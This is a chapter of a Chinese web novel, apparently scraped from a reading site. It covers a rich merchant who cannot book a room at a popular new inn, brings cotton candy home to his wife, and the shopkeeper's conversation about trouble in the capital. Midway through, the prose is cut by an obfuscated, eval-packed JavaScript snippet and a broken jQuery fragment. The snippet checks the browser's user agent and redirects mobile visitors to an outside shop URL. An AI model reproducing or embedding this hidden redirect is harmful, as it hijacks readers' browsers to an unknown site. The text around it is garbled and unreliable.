范长顺:“好好好,你倒是闷声干大事。”
最近这几日里,临城讨论度最大的就是奶茶店又开新店了!
这次还是客栈!
不少人得了消息前来一探究竟,可谁知,刚迈进客栈,就被告知房间都住满了。
苍天啊,这些人动作也太快了吧。
范长顺也是其中之一,他还想着到时候带着夫人来这边小住一段时间,也省的整日两头跑了。
谢洋一脸得意:“小爷我住的可是一零一,一号房,唉,你说咱运气怎么就这么好呢?那日我刚来,恰好就看到多了一家客栈,恰好就定了一间房,恰好还是第一位客人。”
范长顺握紧了拳头,咬牙切齿的看着他,这小子的语气总让他有一种想揍人的冲动是怎么回事。
他扭头就朝前台走:“林姑娘,到时候如果有人退房,一定要通知我啊,我可以先付定金!”
林彩笙冲他无奈的笑了笑,颔首示意他看向身后:“这些都是有意愿先付定金的客人,我怕到时候记录不过来,所以还是等客人退房离店后再来吧。”
范长顺扭头往身后一看,只看到密密麻麻的人,只得叹了一口气,暗道要是早些知道就好了。
一边又剜了谢洋一眼,你小子,有这种好事自己偷偷摸摸就住上了。
范长顺没好气的瞪着他,转身拂袖离开了客栈。
谢洋还在嬉皮笑脸的摇着折扇,跟在范长顺身后一步一句:“哎呀,你说我运气怎么这么好呢。”
“临城首富也不过如此嘛,连间客栈都订不到。”
“对了,上次你那小厮还跟我炫耀来着。”
“终究还是小爷我技高一筹啊哈哈哈哈哈哈!”
即便范长顺捂着耳朵,谢洋的声音还是一句一句传来,让他恨不得把他的嘴堵上。
带着个跟屁虫,范长顺来到了奶茶店,今日奶茶店推出了一款新品,叫做棉花糖,和冰淇淋一样,只能堂食购买,外卖买不到。
他站在队伍前,看着桑沐往一个叫做棉花糖机的物件里加了一小勺糖,接着机器里有个加热头开始旋转,将白糖融化成细细的糖丝,桑沐便拿着一根长长的签子绕着圈慢慢转动。
飘出来的糖丝被缠到了签子上,等到糖丝逐渐变少,签子上的棉花糖越来越大,蓬松洁白的一团,像云朵一样挂在竹签上。
即使离的这么远,也能闻到飘来的丝丝甜味。
桑沐将做好的棉花糖递给排在最前面的第一位客人,那位小姑娘接过来之后,凑近了去闻,丝丝缕缕的糖絮缠绕在一起,风一吹,像是要随风飘走一样。
她轻轻咬上一口,细腻的糖丝瞬间在嘴边化开,甜甜的味道一直甜到了心里。
范长顺一看棉花糖的形状,就知道自家夫人一定喜欢,他眼巴巴的排着队,等到他时,桑沐刚好做完一个,范长顺拿着棉花糖和她告别后,就坐上了回临城的公交车。
“夫人!夫人,你快看,我给你带什么回来了~”范长顺刚迈进府门,就一路风风火火的小跑着往后院跑去。
范夫人正在看这个月府内的支出账本,听到外面的声音,嗔怪道:“这是又得了什么好东西?跑这么快小心脚下。”
范长顺笑眯眯的看着她:“夫人,你瞧。”
他将棉花糖从身后拿出来,可吹了风的棉花糖此时七扭八歪的,完全没有刚做出来的时候好看。
“呀!怎么成这副模样了?”范长顺为了给夫人一个惊喜,特意将棉花糖藏在了身后,可没想到被风吹乱了后,居然是这副模样。
“夫人,你听我解释,这棉花糖本来不是这样的,刚做出来的时候又软又甜,白的像一朵云,是我路上弄坏了。”范长顺说着,贴近了范夫人,“下次我们去店里,给你买最好看的棉花糖。”
范夫人将他手中的棉花糖接了过来,尝了一小口,甜滋滋的。
“好吃吗?”范长顺期待的问道,“都是我不好,我要是再小心一点就好了。”
“甜。”范夫人笑着看他,棉花糖甜,心里也甜。
见夫人没生气,范长顺才开始絮絮叨叨的说今日发生的事情。
“本来今日想去看看桑掌柜开的客栈是什么模样的,但我去的太晚了,房间都已经住满了,我寻思着桑掌柜的店肯定和寻常客栈不同,若是订到了房间,到时候我们去小住几日,也是极好。”
“我还遇到了从京城来的那小子,可恶啊,他跟我炫耀说他不仅订到了房间,还是第一个客人!夫人,你没看到他当时说这话时候的得意样,那样子比我可前走多了。”
“嘿嘿,还是我好吧?夫人心里是不是最喜欢我了?虽然夫人不说,但是我知道,夫人是在意我的。”
范长顺也不管范夫人理不理他,自己在一边叽里呱啦的说着,范夫人将账本翻了一页,看向范长顺:“这个月果园的分成收入比上个月多了一百多两银子,我们自家的铺子倒是中规中矩。”
范长顺闻言,立刻挺直了脊背,得意的说:“我每日都在认真拉客!如今安城也通了公交车,有许多新来的客人,还有老顾客介绍过来的,她们怕第一次去果园不知道规矩,冲撞了什么贵人,便找到我,想跟着我的观光团一起去。”
范夫人赞赏的看着他:“不错。”
范长顺走的时候还美滋滋的,嘿嘿,夫人夸我了。
谢洋和昨日一样来奶茶店闲逛打发时间,桑沐看他一直在和不同的客人闲聊,余光瞥了一眼萧景安,萧景安似是注意到了她的目光,手里的动作慢了下来。
待到营业结束,客人都走的差不多了,桑沐才漫不经心的来到谢洋身边。
“那日听你说,京城出了事?你知道是发生什么了吗?”那几日京城的订单暴涨了许多,不知道和谢洋说的有没有关系。
谢洋茫然的看着桑沐:“我不太清楚,我从国子监回府之后,我爹就突然说让我离京避避风头,我趁此机会半路改道来了这里。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17956308|210256||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
桑沐皱着眉,试图从他的话中找到一丝可用的信息:“那你在国子监或者回家的路上有没有遇到什么人?或者发生什么事?”
见桑沐如此认真,谢洋收起了吊儿郎当的模样,敛了心思回想那天发生的事情。
就在桑沐以为得不到答案了的时候,谢洋眼睛一亮:“我想起来了!”
桑沐立马来了精神。
“那日发生了一件大事,京城的奶茶店门口贴了张画像,就和当初临城的分店被砸时一样,我记得那人叫……什么名字来着?”谢洋陷入了思考,“对了,叫符鹰!”
“我回到家中,想让我爹查那人的身份,可我爹听完之后,就让我不要插手此事,接着我就离京了。”
他说完,还小心翼翼的问桑沐:“是不是那人有问题?”
听了他的话,桑沐若无其事的朝着萧景安的方向看了一眼,见萧景安冲着她几不可闻的点了点头,桑沐便随意挥了挥手:“那人破坏了我的店,虽然受损程度不高,但此人也着实可恶。”
谢洋立刻义愤填膺的附和道:“没错!简直胆大包天,居然敢破坏分店,若是让我抓到,定然饶不了他。”
桑沐又附和的说了几句后,来到了后院。
过了一会儿,萧景安从前厅走了过来。
“你都听到了。”桑沐说道。
萧景安点点头:“看来符鹰的暴露影响颇大。”
“那你接下来想怎么做?”桑沐又问。
萧景安没有立刻回答,他转过身,看向果园的方向:“我如今远离朝堂,不知京城的局势,不好妄动。”
“你和谢洋他父亲……相识?”听谢洋的话,谢永必定认识那符鹰,甚至还颇为了解。
萧景安回过头看她:“他是荣亲王的人,我第一次见你的时候,就是被荣亲王的人追杀至此。”
这句话落,桑沐便明白了其中的利害关系。
“看谢洋的表现,并没有认出你。”桑沐若有所思。
“京中都知吏部尚书的独子自小便是个混不吝的,除了在学术上毫无天赋,其他吃喝玩乐倒是样样在行,他记不得我的模样也算常理之中。”
桑沐闻言,不由得打趣道:“也是,毕竟谁能想到堂堂将军会在我这小店摇奶茶呢。”
萧景安被她逗笑了:“你这可不是小店,分店都开到京城去了,甚至连京城最有名的八仙楼恐怕如今都要排在你之后。”
两人相视一笑后,桑沐继续开口道:“过段时间,京城的路应该就通了。”
萧景安心里一动:“你要去京城吗?”
桑沐蛮不在意的耸耸肩:“我还没见过京城是什么样子呢,去看看,就当旅游了。”
这么久时间的相处以来,萧景安已经习惯了她说一些他根本不懂的词,但他大概也能猜出词的意思:“到时候我与你一起。”
“好呀。”桑沐笑着,“到时候店里放一天假,我们全都去见见世面。”